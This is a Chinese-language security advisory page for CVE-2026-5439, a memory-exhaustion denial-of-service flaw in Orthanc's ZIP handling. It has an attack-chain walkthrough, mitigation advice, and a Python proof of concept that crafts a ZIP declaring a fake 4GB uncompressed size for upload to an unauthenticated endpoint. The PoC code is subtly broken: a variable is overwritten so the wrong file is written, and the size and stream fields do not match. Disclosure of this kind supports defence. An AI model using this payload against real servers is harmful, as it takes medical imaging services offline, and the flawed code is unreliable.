IPBUF安全漏洞报告
English
CVE-2026-5439 CVSS 7.5 高危

Orthanc ZIP归档内存耗尽漏洞 (CVE-2026-5439)

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5439
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc

相关标签

拒绝服务内存耗尽ZIP解析OrthancCVE-2026-5439

漏洞概述

Orthanc服务器在处理ZIP归档时存在严重的内存耗尽漏洞。由于系统在自动解压上传的ZIP文件时,未经验证直接信任归档元数据中的未压缩文件大小字段,攻击者可利用该缺陷构造特制的恶意ZIP文件。该文件包含一个极小的实际数据量,却声明了巨大的解压后大小。当Orthanc尝试解压此类文件时,会根据伪造的大小值尝试分配巨大的内存缓冲区,导致服务器资源耗尽,从而引发拒绝服务攻击。

技术细节

该漏洞的核心在于ZIP文件解析逻辑中的信任边界问题。Orthanc在接收到ZIP归档后,会读取文件头中的Uncompressed Size字段。在常规的ZIP处理流程中,该字段用于指示解压后的数据大小,以便接收方分配适当的内存缓冲区。然而,Orthanc的实现缺乏对此字段数值的合理性校验,例如检查其是否超过预设阈值或远大于实际压缩包大小。攻击者可以利用Python脚本或十六进制编辑器修改ZIP文件的局部文件头,将一个极小文件的Uncompressed Size字段修改为极大值(如4GB)。当Orthanc服务器处理此文件时,会尝试通过malloc或类似函数申请分配该大小的内存块。由于该请求远超系统可用内存,导致操作系统内存耗尽,触发OOM Killer机制终止Orthanc进程,导致服务中断。由于该漏洞无需认证且无需用户交互,攻击门槛极低。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找暴露在互联网上的Orthanc服务器实例。
STEP 2
武器化
攻击者使用脚本生成一个恶意的ZIP文件,其中包含一个伪造的巨大未压缩大小字段,但实际数据体很小。
STEP 3
投递
攻击者通过HTTP POST请求将此恶意ZIP文件上传到Orthanc的文件导入端点。
STEP 4
利用
Orthanc服务器解析ZIP文件头,读取到伪造的大小值,并尝试分配对应大小的内存缓冲区。
STEP 5
影响
由于内存请求过大,服务器内存耗尽,Orthanc进程崩溃或系统无响应,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct import os def create_malicious_zip(filename, fake_size=0xFFFFFFFF): # ZIP Local file header signature signature = b'\x50\x4b\x03\x04' version = b'\x14\x00' flags = b'\x00\x00' compression = b'\x08\x00' # Deflate mod_time = b'\x00\x00' mod_date = b'\x00\x00' crc32 = b'\x00\x00\x00\x00' compressed_size = struct.pack('<I', 20) uncompressed_size = struct.pack('<I', fake_size) name_len = struct.pack('<H', 8) # "evil.txt" extra_len = struct.pack('<H', 0) filename = b'evil.txt' # Minimal valid deflate stream (empty block) body = b'\x78\x9c\x03\x00\x00\x00\x00\x01' header = (signature + version + flags + compression + mod_time + mod_date + crc32 + compressed_size + uncompressed_size + name_len + extra_len + filename) with open(filename, 'wb') as f: f.write(header) f.write(body) create_malicious_zip('evil.zip', fake_size=0xFFFFFFFF) # Claim 4GB size

影响范围

Orthanc (具体版本请参考官方安全公告)

防御指南

临时缓解措施
建议管理员暂时禁用ZIP文件的自动上传和解析功能,或者在WAF层面配置规则,拦截包含异常大解压大小声明的ZIP文件。同时,应密切监控服务器的内存使用情况,设置告警阈值以便及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表